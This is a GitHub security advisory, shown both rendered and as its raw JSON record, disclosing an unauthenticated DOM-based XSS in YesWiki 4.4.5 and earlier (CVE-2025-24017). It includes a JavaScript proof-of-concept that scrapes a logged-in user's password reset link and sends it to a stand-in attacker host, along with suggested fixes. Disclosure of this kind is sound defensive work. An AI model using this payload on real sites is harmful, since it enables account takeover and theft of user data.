ghsa-wphc-5f2j-jhvg
Vulnerability from github
Unauthenticated DOM Based XSS in YesWiki <= 4.4.5
Summary
It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.
This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (doryphore-dev
branch, latest)
- Docker environnment (docker/docker-compose.yml
)
- Docker v27.5.0
- Default installation
Details
The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.
This part of the code is managed by tools/tags/handlers/page/listpages.php
, and this piece of code is responsible for the vulnerability:
```php $output .= '
echo $this->Header(); echo "
\n
The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.
PoC
1. Simple XSS
Abusing the tags
parameter, we can successfully obtain client side javascript execution:
2. Full account takeover scenario
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript
fetch('/?ParametresUtilisateur')
.then(response => {
return response.text();
})
.then(htmlString => {
const parser = new DOMParser();
const doc = parser.parseFromString(htmlString, 'text/html');
const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
})
Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.
Impact
This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures
- Sanitize properly the tag names when created here
php
foreach ($tags as $tag) {
trim($tag);
if ($tag != '') {
if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {
$this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');
}
//on supprime ce tag du tableau des tags restants a effacer
if (isset($tags_restants_a_effacer)) {
unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);
}
}
}
- Sanitize the tag names when looked for here
php
//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';
$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';
- Implement a stronger password reset mechanism through:
- Not showing a password reset link to an already logged-in user.
- Generating a password reset link when a reset is requested by a user, and only send it by mail.
-
Add an expiration/due date to the token
-
Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 4.4.5" }, "package": { "ecosystem": "Packagist", "name": "yeswiki/yeswiki" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.5.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-24017" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2025-01-21T20:08:37Z", "nvd_published_at": "2025-01-21T16:15:15Z", "severity": "HIGH" }, "details": "# Unauthenticated DOM Based XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki\u0027s pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn\u0027t exist, the tag is reflected on the page and isn\u0027t properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client\u0027s side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= \u0027\u003cdiv class=\"alert alert-info\"\u003e\u0027 . \"\\n\";\nif ($nb_total \u003e 1) {\n $output .= _t(\u0027TAGS_TOTAL_NB_PAGES\u0027, [\u0027nb_total\u0027 =\u003e $nb_total]);\n} elseif ($nb_total == 1) {\n $output .= _t(\u0027TAGS_ONE_PAGE_FOUND\u0027);\n} else {\n $output .= _t(\u0027TAGS_NO_PAGE\u0027);\n}\n$output .= (!empty($tab_selected_tags) ? \u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD\u0027) . \u0027 \u0027 . implode(\u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD_SEPARATOR\u0027) . \u0027 \u0027, array_map(function ($tagName) {\n return \u0027\u003cspan class=\"tag-label label label-info\"\u003e\u0027 . $tagName . \u0027\u003c/span\u003e\u0027;\n}, $tab_selected_tags)) : \u0027\u0027) . \u0027.\u0027;\n$output .= $this-\u003eFormat(\u0027{{rss tags=\"\u0027 . $tags . \u0027\" class=\"pull-right\"}}\u0027) . \"\\n\";\n$output .= \u0027\u003c/div\u003e\u0027 . \"\\n\" . $text;\n\necho $this-\u003eHeader();\necho \"\u003cdiv class=\\\"page\\\"\u003e\\n$output\\n$outputselecttag\\n\u003chr class=\\\"hr_clear\\\" /\u003e\\n\u003c/div\u003e\\n\";\necho $this-\u003eFooter();\n```\n\nThe tag names aren\u0027t properly sanitized when adding them to the page\u0027s response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn\u0027t exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch(\u0027/?ParametresUtilisateur\u0027)\n .then(response =\u003e {\n return response.text();\n })\n .then(htmlString =\u003e {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, \u0027text/html\u0027);\n const resetLinkElement = doc.querySelector(\u0027.control-group .controls a\u0027); //dirty\n fetch(\u0027http://attacker.lan:4444/?xss=\u0027.concat(btoa(resetLinkElement.href)));\n })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n\n\n\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n foreach ($tags as $tag) {\n trim($tag);\n if ($tag != \u0027\u0027) {\n if (!$this-\u003etripleStore-\u003eexist($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027)) {\n $this-\u003etripleStore-\u003ecreate($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027);\n }\n //on supprime ce tag du tableau des tags restants a effacer\n if (isset($tags_restants_a_effacer)) {\n unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n }\n }\n }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET[\u0027tags\u0027])) ? $_GET[\u0027tags\u0027] : \u0027\u0027;\n$tags = (isset($_GET[\u0027tags\u0027])) ? htmlspecialchars($_GET[\u0027tags\u0027]) : \u0027\u0027;\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.", "id": "GHSA-wphc-5f2j-jhvg", "modified": "2025-01-21T20:08:37Z", "published": "2025-01-21T20:08:37Z", "references": [ { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24017" }, { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b" }, { "type": "PACKAGE", "url": "https://github.com/YesWiki/yeswiki" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L", "type": "CVSS_V3" } ], "summary": "Unauthenticated DOM Based XSS in YesWiki" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.